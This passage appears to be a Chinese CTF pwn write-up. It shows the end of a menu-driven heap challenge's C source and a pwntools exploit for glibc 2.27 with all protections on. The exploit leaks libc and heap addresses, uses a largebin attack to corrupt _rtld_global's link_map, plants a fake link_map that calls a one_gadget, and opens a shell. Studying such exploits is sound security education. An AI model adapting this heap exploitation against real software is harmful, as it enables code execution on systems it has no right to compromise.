exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}
这是源代码,我用的libc是2.27-3ubuntu1.6,保护全开
from pwn import *
context.log_level='debug'
io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('libc-2.27.so')
def dbg():
gdb.attach(io)
def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))
def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))
def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)
def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))
add(0,0x428)
add(1,0x500)
add(2,0x418)
free(0)
add(3,0x500)
show(0)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ec090
print(hex(libc_base))
edit(0,b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x250
print(hex(heap_base))
rtld_global=libc_base+0x62a060
link_map3=rtld_global+0x1ccfb8
one_gadget=libc_base+0x4f302
print(hex(link_map3))
free(2)
edit(0,p64(libc_base+0x3ec090)*2+p64(heap_base+0x250)+p64(link_map3-0x20))
add(4,0x500)
fake_addr=heap_base+0xb90
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x48-0x10,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(one_gadget)
payload = payload.ljust(0x110-0x10,b'\x00')+p64(fake_addr+0x40)
payload = payload.ljust(0x120-0x10,b'\x00')+p64(fake_addr+0x48)
payload = payload.ljust(0x314-0x10,b'\x00')+p64(0x1c)
edit(2,payload)
io.sendlineafter('Your choice:\n', str(5))
io.interactive()
#dbg()
io.interactive()
参考
https://dreamkecat.github.io/2022/06/03/%E9%AB%98%E7%89%88%E6%9C%ACglibc%E5%A0%86%E7%9A%84%E5%87%A0%E7%A7%8D%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/
https://giles-one.github.io/2021/10/04/house-of-%E7%B3%BB%E5%88%97%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/index.html